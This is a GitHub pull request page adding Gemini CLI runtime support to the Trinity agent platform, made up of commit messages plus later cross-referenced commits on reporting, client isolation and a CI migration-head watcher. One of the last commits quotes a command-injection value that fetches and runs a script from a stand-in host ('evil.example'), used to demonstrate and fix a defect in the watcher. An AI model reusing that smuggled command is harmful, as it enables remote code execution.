Skip to content

Feature/gemini runtime support - #2

Merged
vybe merged 33 commits into
mainfrom
feature/gemini-runtime-support
Dec 29, 2025
Merged

Feature/gemini runtime support#2
vybe merged 33 commits into
mainfrom
feature/gemini-runtime-support

Conversation

@oleksandr-korin

Copy link
Copy Markdown
Contributor

No description provided.

Implements runtime adapter pattern to support both Claude Code and Gemini CLI,
enabling cost optimization and provider flexibility.

Key Changes:
- Created AgentRuntime interface for runtime abstraction
- Implemented ClaudeCodeRuntime (wraps existing code)
- Implemented GeminiRuntime with MCP translation
- Added runtime selection to AgentConfig model
- Updated Dockerfile to install Gemini CLI
- Added GOOGLE_API_KEY environment variable support
- Created test-gemini template for validation

Features:
- Seamless runtime switching per agent
- Unified cost/token tracking across providers
- MCP tool support for both runtimes
- 1M token context window for Gemini (5x Claude)
- Free tier support (60 req/min for Gemini)

Documentation:
- Added docs/GEMINI_SUPPORT.md with setup guide
- Updated README.md with multi-runtime info
- Included gemini-research-summary.md for technical details

Backward Compatibility:
- Defaults to claude-code if runtime not specified
- Existing agents continue working unchanged
- No breaking changes to API or templates
Code review fixes:
- state.py: Added runtime_available check for both Claude/Gemini
- state.py: Dynamic context window based on runtime (1M for Gemini)
- chat.py: Fixed parallel task endpoint to use runtime adapter
- chat.py: Fixed WebSocket handler to use runtime adapter
- chat.py: Model validation now supports Gemini model names
- __init__.py: Export get_runtime and AgentRuntime
- info.py: Health endpoint now reports runtime info
- main.py: Log runtime info on startup
- agents.py: Extract runtime config from template.yaml
- docker-compose.yml: Add GOOGLE_API_KEY env var for backend

Runtime adapter improvements:
- Added execute_headless method to AgentRuntime interface
- Implemented execute_headless in both ClaudeCodeRuntime and GeminiRuntime
- Better error handling and timeout support for headless tasks
Updated key documentation files:

- DEPLOYMENT.md: Added GOOGLE_API_KEY configuration section
- TRINITY_COMPATIBLE_AGENT_GUIDE.md:
  - Added runtime field to template.yaml schema
  - New 'Runtime Options' section with comparison table
  - Environment requirements per runtime
- changelog.md: Added 2025-12-28 entry for Gemini integration
- requirements.md:
  - Added Section 12: Multi-Runtime Support (3 requirements)
  - Removed 'Claude only' from Out of Scope section
Introduces formal semantic versioning for Trinity:

New files:
- VERSION: Contains current version (0.9.0)
- docs/VERSIONING_AND_UPGRADES.md: Comprehensive upgrade guide

Changes:
- build-base-image.sh: Now tags images with version number
- main.py: Added /api/version endpoint
- README.md: Link to versioning docs

Versioning strategy:
- Semantic versioning (MAJOR.MINOR.PATCH)
- All components share single version number
- Docker images tagged with version + latest
- Version endpoint for runtime queries

This establishes v0.9.0 as the Gemini support release.
Changed logger.warning() to print() for consistency with the rest
of the file. This was causing 500 errors when creating Gemini agents.
Added 1-second delay and container.reload() after container creation
to ensure Docker reports the correct 'running' status before broadcasting
to the frontend. Previously, the status was checked too quickly after
container.run(), resulting in a transitional state being reported.
WebSocket 'agent_created' event was adding agent to list even when
the API response had already added it. Now checks if agent exists
before adding from WebSocket event.
Gemini CLI expects the environment variable GEMINI_API_KEY, not
GOOGLE_API_KEY. Updated agent creation to pass the correct name.
- Remove push from createAgent() to avoid race condition
- WebSocket 'agent_created' event is now the single source for adding agents
- Keep duplicate check in WebSocket handler for reconnection safety
Gemini CLI outputs {'type':'message','role':'assistant','content':'...'}
for responses, not the format we originally expected. Also fixed stats
parsing from 'stats' field instead of 'usage'.
Gemini CLI outputs tool_use and tool_result at the top level, not nested
inside assistant/user messages like Claude Code. Added handling for both
formats to support tool execution tracking.
Sometimes Gemini CLI returns success with no assistant message content.
Instead of throwing a 500 error, return a placeholder response.
When Gemini executes a tool but doesn't output an assistant message,
use the tool result output as the response instead of '(Task completed)'.
This provides more useful feedback to the user.

Also added debug logging for stream parsing and saved refactoring plan.
- Make trinity_mcp.py runtime-aware (Claude .mcp.json vs Gemini CLI)
- Add _inject_gemini_mcp() for gemini mcp add commands
- Add configure_mcp_servers() shared function
- Simplify GeminiRuntime.configure_mcp() to use shared impl
- Add output field to ExecutionLogEntry model
- Document CLAUDE.md usage for both runtimes
- Add template priority for UI ordering
- Update GEMINI_APPLICATIONS.md status to implemented
Renamed: docs/development/GEMINI_APPLICATIONS.md
     -> docs/memory/feature-flows/gemini-runtime.md

Clearer naming and consistent with other feature flow docs.
- Add GEMINI_PRICING constants for different models
- Add calculate_gemini_cost() function
- Calculate estimated cost from token usage in result parsing
- Gemini free tier shows what costs *would* be for comparison
- Add runtime field to AgentStatus model
- Extract runtime from container env vars in docker_service.py
- Add computed availableModels based on agent.runtime
- Show Gemini models for gemini-cli agents
- Show Claude models for claude-code agents
- Dynamic tooltip based on runtime
- Add gemini-3-pro and gemini-3-flash to UI model selector
- Add estimated pricing for Gemini 3 models
Source: ai.google.dev/pricing (Dec 2024)
- Gemini 3 Pro: $2.00/1M in, $12.00/1M out
- Gemini 3 Flash: $0.50/1M in, $3.00/1M out
- Gemini 2.5 Pro: $1.25/1M in, $10.00/1M out
- Gemini 2.5 Flash: $0.30/1M in, $2.50/1M out
- Gemini 2.0 Flash: $0.10/1M in, $0.40/1M out
- Gemini 2.0 Flash Lite: $0.075/1M in, $0.30/1M out
- Add ADMIN_USERNAME env var support in database.py
- Add stub functions for plan/task helpers in Agents.vue
- Whitespace cleanup across multiple files
- Add multi-runtime capability to welcome page
- Add Google API key to prerequisites (free tier!)
- Update agent creation to mention runtime selection
- Add runtime comparison table to Core Concepts
- Update checklist with both API key options
- Add link to Gemini Support Guide
- Include testing docs folder
- Chat endpoint now uses agent_state.current_model when request.model is None
- WebSocket endpoint also respects model from message or state
- Ensures model selector dropdown actually affects which model is used
- 001: Claude context window shows incorrect values (understated by 20-30x)
- 002: Unified context reporting interface across runtimes
- README: Backlog structure and guidelines for AI agents
Resolves conflicts:
- docs/memory/changelog.md: Merged Gemini entries chronologically
- src/backend/routers/agents.py: Use main's service layer, added multi-runtime to service
- src/frontend/src/views/AgentDetail.vue: Use main's Terminal tab, added model selector computed

Multi-runtime support:
- Added runtime config extraction in agent_service/crud.py
- Added runtime config extraction in agent_service/deploy.py
- Added AGENT_RUNTIME, AGENT_RUNTIME_MODEL, GEMINI_API_KEY env vars
- Added trinity.agent-runtime Docker label
- Added runtime-aware model selector in AgentDetail.vue
oleksandr-korin pushed a commit that referenced this pull request Dec 28, 2025
Bug #1: Terminal session lost when switching tabs
- Changed v-if to v-show for terminal tab content in AgentDetail.vue
- Keeps terminal component mounted, preserving WebSocket connection

Bug #2: MCP deploy_local_agent only copied CLAUDE.md
- Updated startup.sh to copy ALL template files instead of hardcoded list
- Now includes template.yaml and custom directories (src/, lib/, etc.)
- Added .trinity-initialized marker to prevent re-copying on restart

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
- Write directly to ~/.gemini/settings.json instead of using 'gemini mcp add'
- Workaround for Gemini CLI bug where --transport http creates invalid 'type' field
- Enables Trinity MCP tools (chat_with_agent, etc.) for Gemini agents
- Create schedule_execution records for manual tasks via /api/agents/{name}/task
- Track success/failure status, response, cost, and tool calls
- Makes manual tasks visible in the Tasks panel UI alongside scheduled tasks
dolho added a commit that referenced this pull request Aug 21, 2026
…ich had never fired (ent#430)

Slice 5, the gate: until this ships, ent#429's surface records answers nobody
acts on. Wiring it up found that nobody was acting on the OPERATOR's answers
either.

## ent#329's respond→resume has never once run

`operator_resume_service` did `from services.task_execution_service import
task_execution_service`. That module exports `get_task_execution_service()` and
no such singleton, so the import raised — and it sits ABOVE the function's first
`try`, inside a coroutine handed to `create_task`, so it died as an unretrieved
task exception. No audit row, no FAILED execution row, no log anyone reads.
Every operator answer since ent#329 merged has been recorded and woken nothing.

Its suite was green because the fixture supplied the missing name:

    monkeypatch.setitem(sys.modules, "services.task_execution_service",
                        SimpleNamespace(task_execution_service=recorder))

The stub INVENTS the very attribute whose absence is the bug, so the import
under test became unfalsifiable — the stub defined the contract instead of
checking it. The module's own docstring says "Never silent."

Fixed in three places, because one would have left the class open:

  * the import, to the accessor other callers already use
    (`adapters/message_router.py:33`);
  * the stub, to mirror the real API — plus
    `test_the_stub_mirrors_the_real_module`, which parses this module's
    `ImportFrom` nodes and asserts every name exists on the GENUINE module with
    no stub in scope. It fails on the old import, naming it;
  * `spawn_resume_dispatch`, which now logs any non-cancelled task exception.
    "Never silent" is a property you build, not a sentence you write.

## The slice itself

The Workspace answer dispatches through `spawn_resume_dispatch` on the CAS win —
ent#329's ONE surface, no workspace-specific execution path (AC #1, #2).

AC #3 is CONFIRMED, not built: the opt-in is per AGENT
(`operator_resume_enabled`, default OFF, and an unreadable flag reads as "not
opted in", never "spend"). ent#329 chose that deliberately so an agent cannot
decide that answering costs the answerer money — which matters most when the
answerer is an external client, i.e. here.

The framed message now states WHO answered. It said "An operator answered"
regardless, while this module's own audit note already anticipated a client
("the answer can carry whatever a Workspace client typed"). An agent may
reasonably weigh an operator's instruction differently from a client's, so the
wrong one is a false warrant rather than a cosmetic slip. An unknown kind falls
back to the CLIENT framing — the less privileged of the two, so a typo cannot
promote anyone.

## Two bugs in this wiring, caught by its own tests

`spawn_resume_dispatch` needs a running loop, and the portal answer route was
`def` — FastAPI runs those in a threadpool, so it raised `RuntimeError: no
running event loop` AFTER committing the answer: a 500 on a successful answer.
Both the route and the service are now async, matching
`routers/operator_queue.py::respond_to_queue_item`, which is async for exactly
this reason. And the async conversion missed multi-line `def test_(...)`
signatures, which the collector caught as a SyntaxError.

## Not done, deliberately

AC #4 says to flip the feature flag on. There is no asks feature flag — `grep`
finds none anywhere — so the criterion refers to something that was never built.
Saying so beats inventing a gate nobody asked to operate.

AC #5 needs a decision recorded rather than code: a dispatch failure does NOT
mean the answer was lost. It is committed, and the 5s sync loop still delivers
it on the agent's next tick; this dispatch is the ACCELERATION for an agent with
no next tick. So the ask reading as resolved is correct, and telling the client
their answer failed would be the false statement. The failure is visible to the
operator — FAILED row, audit entry, and now the log line above.

Slice: 741 passed, 1 skipped. 6 of the new cases fail without this wiring.

Related to ent#430.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
dolho added a commit that referenced this pull request Aug 25, 2026
…457 AC#3)

"Dispatch → monitor → report back is a contract, not a habit" — the issue's
words. The machinery has existed since ent#224/#265 for Slack and Telegram: a
terminal chokepoint (#1578), a destination on the row (ent#117), a resolver per
channel, an effect guard for at-most-once. The Workspace was excluded by ONE
missing field.

#2157 stamped portal executions with the SURFACE (`source_channel = "portal"`)
and never a destination, so every portal terminal died at `report_completion`'s
`if not source_channel_chat_id` gate. This gives the row its session id at both
creation sites (#2157 FR-7's rule: both, or which path made the row decides
whether the promise holds) and adds a portal resolver. Delegated work then
inherits the destination through the EXISTING ent#265 chain — no new
inheritance, no new transport, no new table.

Two rules carried over deliberately, because both are the ways this goes wrong:

* **No double-post.** A Workspace turn is synchronous — `portal_chat` persists
  the reply itself — so `public` joins INLINE_CHANNEL_TRIGGERS. Without it every
  chat message would gain a duplicate "done". Public links and x402 share that
  trigger and are unaffected: they carry no chat id, so they never reach the
  check.
* **The recipient comes from the session row, not the stamp.** The stamp is a
  string that rode an inheritance chain; the session row is the platform's own
  record of whose chat this is. A delegated child may execute as a different
  agent (A asks B) — the message is filed under A, whose chat it is, and names B
  in the body.

Consent is by construction, as for a Telegram DM: the session belongs to one
client and the report goes into their own conversation, so there is no third
party and no flag to consult. Delivery is a persisted assistant message read
through the history the client already polls, which is why AC #7's "degrades to
poll" holds here with no new transport.

**This supersedes half of a #2157 invariant, deliberately.**
`test_portal_source_channel_is_not_a_messaging_channel` asserted the portal must
miss BOTH the voice service's supported set and `_CHANNEL_RESOLVERS`. The voice
half is permanent — there is no outbound audio leg. The completion half was true
only because the row carried no destination, which is precisely what ent#457
(operator ruling 2026-08-22, committed to the release cut) changes. The guard is
narrowed to what remains true and now also pins the no-double-post rule; the
reasoning is in the test, not only in this message.

Verified live: a delegated portal execution posts "**Finished** — Reconciled 42
invoices…" into the client's thread; a second call delivers nothing (the effect
guard holds, still one message); the turn's own `public` execution reports
nothing at all.

Scope: this is AC #3 only. The execution card and pipeline view (AC #1/#2) are
gated on AC #5's design pass, which is published separately for review — no card
code until it is approved.

Related to Abilityai/trinity-enterprise#457

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
dolho added a commit that referenced this pull request Aug 25, 2026
…457 AC#3)

"Dispatch → monitor → report back is a contract, not a habit" — the issue's
words. The machinery has existed since ent#224/#265 for Slack and Telegram: a
terminal chokepoint (#1578), a destination on the row (ent#117), a resolver per
channel, an effect guard for at-most-once. The Workspace was excluded by ONE
missing field.

#2157 stamped portal executions with the SURFACE (`source_channel = "portal"`)
and never a destination, so every portal terminal died at `report_completion`'s
`if not source_channel_chat_id` gate. This gives the row its session id at both
creation sites (#2157 FR-7's rule: both, or which path made the row decides
whether the promise holds) and adds a portal resolver. Delegated work then
inherits the destination through the EXISTING ent#265 chain — no new
inheritance, no new transport, no new table.

Two rules carried over deliberately, because both are the ways this goes wrong:

* **No double-post.** A Workspace turn is synchronous — `portal_chat` persists
  the reply itself — so `public` joins INLINE_CHANNEL_TRIGGERS. Without it every
  chat message would gain a duplicate "done". Public links and x402 share that
  trigger and are unaffected: they carry no chat id, so they never reach the
  check.
* **The recipient comes from the session row, not the stamp.** The stamp is a
  string that rode an inheritance chain; the session row is the platform's own
  record of whose chat this is. A delegated child may execute as a different
  agent (A asks B) — the message is filed under A, whose chat it is, and names B
  in the body.

Consent is by construction, as for a Telegram DM: the session belongs to one
client and the report goes into their own conversation, so there is no third
party and no flag to consult. Delivery is a persisted assistant message read
through the history the client already polls, which is why AC #7's "degrades to
poll" holds here with no new transport.

**This supersedes half of a #2157 invariant, deliberately.**
`test_portal_source_channel_is_not_a_messaging_channel` asserted the portal must
miss BOTH the voice service's supported set and `_CHANNEL_RESOLVERS`. The voice
half is permanent — there is no outbound audio leg. The completion half was true
only because the row carried no destination, which is precisely what ent#457
(operator ruling 2026-08-22, committed to the release cut) changes. The guard is
narrowed to what remains true and now also pins the no-double-post rule; the
reasoning is in the test, not only in this message.

Verified live: a delegated portal execution posts "**Finished** — Reconciled 42
invoices…" into the client's thread; a second call delivers nothing (the effect
guard holds, still one message); the turn's own `public` execution reports
nothing at all.

Scope: this is AC #3 only. The execution card and pipeline view (AC #1/#2) are
gated on AC #5's design pass, which is published separately for review — no card
code until it is approved.

Related to Abilityai/trinity-enterprise#457

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
dolho added a commit that referenced this pull request Aug 26, 2026
Review blocking #2 (@obasilakis), and the finding was exact: nothing bound the
destination session to the client who started the parent turn.

The inheritance guard that lets a child carry a portal context checks the
AGENT — `_inherited_channel_context` refuses only when parent_agent !=
agent_principal. So for an agent A shared with clients X and Y, A serving Y
could pass the execution id of one of X's portal turns: same agent, guard
passes, the child inherits X's session, and its terminal files a body A chose
into X's permanent thread. A holds both clients' data, so it is a disclosure
between two different people — and it went live with this PR, since portal rows
carried no chat id before it.

The client identity now rides WITH the context instead of being re-derived from
it: a new nullable `schedule_executions.source_channel_client`, stamped at both
portal creation sites, inherited alongside the other three channel columns, and
checked in `_resolve_portal` against the session's own `client_email`.

`source_user_email` was rejected as the carrier: routers/public_memory.py reads
it to decide whose MEM-001 memory blob a turn writes into, so overloading it
would silently redirect memory writes.

Fails CLOSED. Every row predating the column reports NULL, and `_norm_email`
maps a missing value on either side to '' so 'unknown == unknown' can never read
as agreement. Case- and padding-insensitive, so a legitimate report is never
refused over the shape of an address.

`context_client` is passed to EVERY resolver, not to the portal one alone — a
per-channel call shape is how a resolver ends up silently not receiving a field
that was added for it. The channel legs ignore it: their destination is a chat
id on someone else's server, not a per-person thread this platform owns.

Dual-track: sqlite channel_report_client + alembic 0047 (single head, verified).
Blocking #1 (sanitization) was already fixed in 5fdc224, after the review.

452 passed across the channel, chat-execution and portal suites.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
dolho added a commit that referenced this pull request Aug 26, 2026
Review blocking #2 (@obasilakis), and the finding was exact: nothing bound the
destination session to the client who started the parent turn.

The inheritance guard that lets a child carry a portal context checks the
AGENT — `_inherited_channel_context` refuses only when parent_agent !=
agent_principal. So for an agent A shared with clients X and Y, A serving Y
could pass the execution id of one of X's portal turns: same agent, guard
passes, the child inherits X's session, and its terminal files a body A chose
into X's permanent thread. A holds both clients' data, so it is a disclosure
between two different people — and it went live with this PR, since portal rows
carried no chat id before it.

The client identity now rides WITH the context instead of being re-derived from
it: a new nullable `schedule_executions.source_channel_client`, stamped at both
portal creation sites, inherited alongside the other three channel columns, and
checked in `_resolve_portal` against the session's own `client_email`.

`source_user_email` was rejected as the carrier: routers/public_memory.py reads
it to decide whose MEM-001 memory blob a turn writes into, so overloading it
would silently redirect memory writes.

Fails CLOSED. Every row predating the column reports NULL, and `_norm_email`
maps a missing value on either side to '' so 'unknown == unknown' can never read
as agreement. Case- and padding-insensitive, so a legitimate report is never
refused over the shape of an address.

`context_client` is passed to EVERY resolver, not to the portal one alone — a
per-channel call shape is how a resolver ends up silently not receiving a field
that was added for it. The channel legs ignore it: their destination is a chat
id on someone else's server, not a per-person thread this platform owns.

Dual-track: sqlite channel_report_client + alembic 0047 (single head, verified).
Blocking #1 (sanitization) was already fixed in 5fdc224, after the review.

452 passed across the channel, chat-execution and portal suites.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
dolho added a commit that referenced this pull request Sep 1, 2026
AC #2 — before/after from the runners rather than from a workstation.
First parallel run of the six-shard matrix (33498960688):

    8.1m  8.6m  8.7m  9.0m  9.0m  17.5m   (all SUCCESS)

Median 15m -> 9.0m. The 17.5m shard is the load-bearing one: it is the same
~2x runner variance that used to produce the 45m cancels, now landing well
inside the cap. Worst starvation seen historically was >=3x (15m of work not
finishing in 45m); 3x of 9m is 27m, clearing the cap by 18 minutes.
vybe pushed a commit that referenced this pull request Sep 8, 2026
…#2590)

* docs(ci): requirements + Invariant #3 for the pre-merge Alembic head watcher (#2533)

Requirements-first (Rule #1) for the #2533 watcher.

`requirements/infrastructure.md` gains §8.11 (HEADW-001..010): the defect is
STALENESS, not a checkout bug — `schema-parity`'s single-head guard runs
unconditionally and `actions/checkout` already resolves `refs/pull/N/merge`, so
it tests the merge result correctly. GitHub recomputes that ref when the base
advances but does not re-trigger workflows, so #2526's last green run described
a base that no longer existed.

`architecture.md` Invariant #3 gains two sentences on the same point, amending
the "One head per version-line (#2068)" passage rather than restating the fork
mechanics already documented there.

Doc tier called explicitly: this is a NEW CAPABILITY, not Rule #4's
"bug fix: commit message only" — the deliverable is a new always-on CI service
with a new PR-facing signal and a new permission scope.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* ci(alembic): re-check open migration PRs against the live dev tip (#2533)

#2526 merged carrying an Alembic head fork that every pre-merge signal reported
as clean. Not a checkout bug: `schema-parity` runs the single-head guard
unconditionally and `actions/checkout` already resolves `refs/pull/N/merge`, so
the guard was testing the merge result and was correct. It was STALE — that run
happened 75 minutes before the competing revision landed on `dev`, and GitHub
recomputes the merge ref when the base advances without re-triggering workflows.

`alembic-head-watch.yml` re-runs `scripts/ci/check_alembic_heads.py` — UNCHANGED
— over an in-memory merge of each open migration PR against the live `dev` tip.

The trigger is the precise one: a push to `dev` touching
`src/backend/migrations/versions/**` is the exact moment every open migration
PR's last green run is invalidated. The 6-hourly cron is a dropped-run backstop
(and fires only from `main`, since `schedule:` runs from the default branch).

`git merge-tree --write-tree` makes no commit and touches neither the working
tree nor the index, so this workflow structurally cannot push; its exit contract
(0 clean / 1 conflict / else error) distinguishes a conflicting PR from an
infrastructure failure natively, avoiding the `--diff-filter=U` heuristic #1941
got wrong. Because the PR is never checked out and the only PR bytes on disk are
revision files read by `ast.parse`, no PR-authored code executes — which is why
this is one job rather than backend-unit-nightly.yml's three-job split.

Reporting is idempotent in both directions: a commit status (the alarm at the
merge click) plus one marker-keyed sticky comment (the diagnosis). A clean PR
never gains a sticky; `conflict` and `unknown` publish no status, because a
false all-clear on a check that never ran is the #2029 failure. Advisory by
design and never a required context — the pg-migrations precedent.

The `pull_request` arm is a dry-run self-test: `workflow_dispatch` cannot reach
a workflow that exists only on a feature branch, so without it a change here
would be unverifiable until after it merged.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* test(ci): guard the Alembic head watcher's load-bearing properties (#2533)

36 tests. Static guards over the workflow in the shape of
test_1941_nightly_merge_depth.py / test_2462_nightly_budget.py, with every
string assertion run against the YAML with COMMENT LINES STRIPPED — this
workflow's own header says it "cannot push" and "never checks out the PR", so a
naive substring search matches the prose and passes while the shell does the
opposite.

Pinned: the push trigger stays restricted to `dev` + the version line; the
pull_request arm stays path-filtered and DRY_RUN-gated; no write-side git
command appears anywhere; merge-tree's conflict and error arms stay
distinguished; fetch-depth stays 0 (#1941, third workflow); both version lines
reach the guard; the enterprise arm stays guarded against absence; a forked
`dev` evaluates no PR; a sweep that produces nothing fails the run.

The verdict module is EXECUTED, not grepped — it is the one path that can
publish a green tick for a check that never ran. Includes the coupling neither
file can see: the guard's real output, produced by running
check_alembic_heads.py on a reconstruction of #2526's fork, is fed to
parseGuardOutput, and the resulting fix instruction is asserted to name
`0050_agent_canvases` — what #2526 actually did.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(ci): close the nine review findings on the Alembic head watcher (#2533)

Three independent reviews (autoplan strategy, autoplan engineering with
mutation testing, and Codex gpt-5.5 adversarially) returned "ship with
changes". These are the nine, ordered by what they could do to a run.

M1 — the self-test could not run at all. The verdict module is require()d
from the workspace, and the workspace is dev, so `alembic-head-verdict.js`
was never exercised by the arm that exists to exercise it — and on the PR
that ADDS the file the baseline step hard-failed with "missing from dev".
A second SPARSE checkout of scripts/ci into a side path supplies the PR's
copy, gated on `pull_request` AND same-repo. The python guard is never
sourced this way: it is the assertion dev enforces.

M2/M2b — `tree=$(git merge-tree … | head -1); rc=$?` read merge-tree's exit
only because pipefail survives `set +e`; without it a CONFLICTING PR was
classified clean and published a green status for a check that never ran.
Streams now go to files: no pipeline, no SIGPIPE, stderr preserved for the
warning. That also gives M2b's discriminator free — measured on git 2.50.1,
an unresolvable ref exits 1 with EMPTY stdout while a real conflict exits 1
with the merged tree's OID, so exit 1 alone answered an infrastructure fault
by telling an innocent author their PR conflicts.

M3 — the dev_head parse ran under `set -euo pipefail`; a reworded guard line
made grep exit 1 and killed the step on a healthy dev, while the `<unparsed>`
fallback written for that case never printed. `|| true`.

M4 — `cancel-in-progress: false` does not queue; GitHub evicts the pending
run. Harmless between two push runs (a later sweep subsumes an earlier one),
not harmless across events: a dry-run self-test could silence a real push
run. Group keyed on the event.

M5 — six of eight load-bearing mutations survived the suite. Added guards for
the DRY_RUN read AND its pass-through, the bot-author filter, pagination, the
merge-tree error arm (scoped to the evaluate step, not every run: block), the
500-file cap, the no-pipe rule, the symlink sweep, and the M1/M7/M8 wiring.
19/19 mutations now killed.

M7 — one try/catch wrapped the status, the comment guard and both comment
calls. A throwing status call skipped the comment entirely, so on `fork` —
the one outcome this exists to be seen on — the human saw nothing and the run
passed. Separate try/catch per signal; setFailed when neither published.

M8 — `footer()` embeds this run's URL, so `sticky.body === v.comment.body`
was never true and "skipped when unchanged" was unimplementable. Compare
through `stickyBodiesMatch`, which normalises the run id away.

M9 — `git archive` can emit symlinks and the guard read_text()s every *.py
it globs; a link at an unbounded source can hang or OOM a job holding write
scopes. Disclosure was already closed (ids and filenames only reach output);
this closes the resource path, in the workflow rather than the guard.

88 passed, 2 skipped; actionlint rc=0.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(ci): correct HEADW-003/006/008/009 to what the watcher actually does (#2533)

M6 was a doc claiming a control that does not exist: §8.11 said extraction is
"capped (500 files / 5 MB)". Only the file cap shipped, and it bounds PARSING,
not extraction — the tree is already on disk by then and bounded by the repo.

The rest of this is the same class, caught while fixing the code:

- HEADW-003 asserted git's exit contract as "0 clean / 1 conflicts / anything
  else error". Measured on git 2.50.1, exit 1 is OVERLOADED — an unresolvable
  ref exits 1 with empty stdout, a real conflict exits 1 with the merged tree's
  OID. Records the tree OID as the discriminator, the file redirect that
  removes the pipefail dependency, and the symlink sweep.
- HEADW-006 promised a sticky "skipped when unchanged"; the footer's run URL
  made that unreachable. Records the normalised comparison, and M7's separate
  failure domains for the status and the comment.
- HEADW-008/009 said "the PR is never checked out", which stops being true
  verbatim once the self-test sources its own scripts/ci. Records the narrower
  true statement — the guard's workspace is dev only — and the same-repo gate.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(flows): record where the Alembic head guard's freshness comes from (#2533)

/sync-feature-flows: NO new flow doc, and the precedent is written down rather
than inferred — database-migration-runner.md's Related Flows already covers this
guard and says in as many words "No flow doc of its own: the mechanism is one
stdlib script". The index's own scope is UI → API → Database → Side Effects,
which a CI workflow has none of.

So the delta is to amend that paragraph, which had become misleading: it named
`schema-parity` as the pre-merge guard without saying that run is fresh only at
PR-event time. Someone triaging a fork that shipped green would read it and
conclude the guard had failed, when it had merely aged.

Index row added anyway (the "always add a row" rule), pointing at the flow it
amends.

Noted, not acted on (Rule #2, pre-existing): Recent Updates is at 117 rows
against #1360's ~20 cap, and the index is 522 lines against the skill's 400.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(ci): treat every value the head-watch comment renders as attacker-controlled (#2533)

/review + /cso --diff on the branch. Both reviews landed on one real defect,
in the new verdict module rather than the workflow.

`alembic-head-verdict.js` renders two values that come out of the PR's OWN
revision files — `revision = "<any string>"` and the committed filename — into
a comment authored by `github-actions[bot]`. On a public repo any fork author
picks them, and the fork arm is exactly the path that fires. Proven by
execution against the real guard before the fix:

  * `revision = "$(curl${IFS}-s${IFS}http://evil.example/x|sh)"` survived
    `parseGuardOutput`'s `\S+` capture into the `alembic merge` suggestion —
    a command the comment invites a maintainer to paste into a shell.
  * An id carrying a newline plus a triple backtick closed the hard-coded
    fence around the quoted guard output, putting attacker markdown
    ("**Reviewed and approved — safe to merge.**") into the bot's comment.

Neither is code execution on the runner — revision files are only ever
`ast.parse`d (HEADW-008) — both are the comment being made to say something
its author did not write, which is the only reason anyone trusts it.

  * `isSafeRevisionId` gates interpolation into the pasteable command on
    `^[A-Za-z0-9._-]{1,255}$` (Alembic's own width, Invariant #3); anything
    else degrades to the generic `<head-a> <head-b>` placeholder. Nothing
    diagnostic is lost — the verbatim guard output above it still names the
    real ids.
  * `fenced()` opens the quoted block with one backtick more than the longest
    run inside it. CommonMark closes on the first run >= the opening fence, so
    a hard-coded ``` is escapable by any input that contains one.

Also: the `fork` comment now says when it clears, the way `conflictBody`
already did. Without it an author who rechains and pushes sees a stale
warning until the next push to `dev` (their own push does get a fresh,
correct `schema-parity` run — it is the sticky that lags).

Tests: 3 added, all three mutation-killed, including the control that proves
an ordinary fork still gets a runnable `alembic merge 0050_a 0050_b`. Built
end-to-end through the real `check_alembic_heads.py`, since the hostile ids
have to survive its formatting before they reach the module.
57 passed (was 54); `test_2068_alembic_heads_guard.py` unchanged and green.

Docs: HEADW-011 in requirements/infrastructure.md; a learnings entry for the
class (CI that comments on a PR is a rendering surface for PR-controlled text).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(ci): order HEADW-010 before HEADW-011 (#2533)

HEADW-011 was appended when the attacker-controlled-rendering finding
landed and took 010's slot, leaving the numbered list out of order.
No content change to either requirement.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
Co-authored-by: sim <sim@example.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants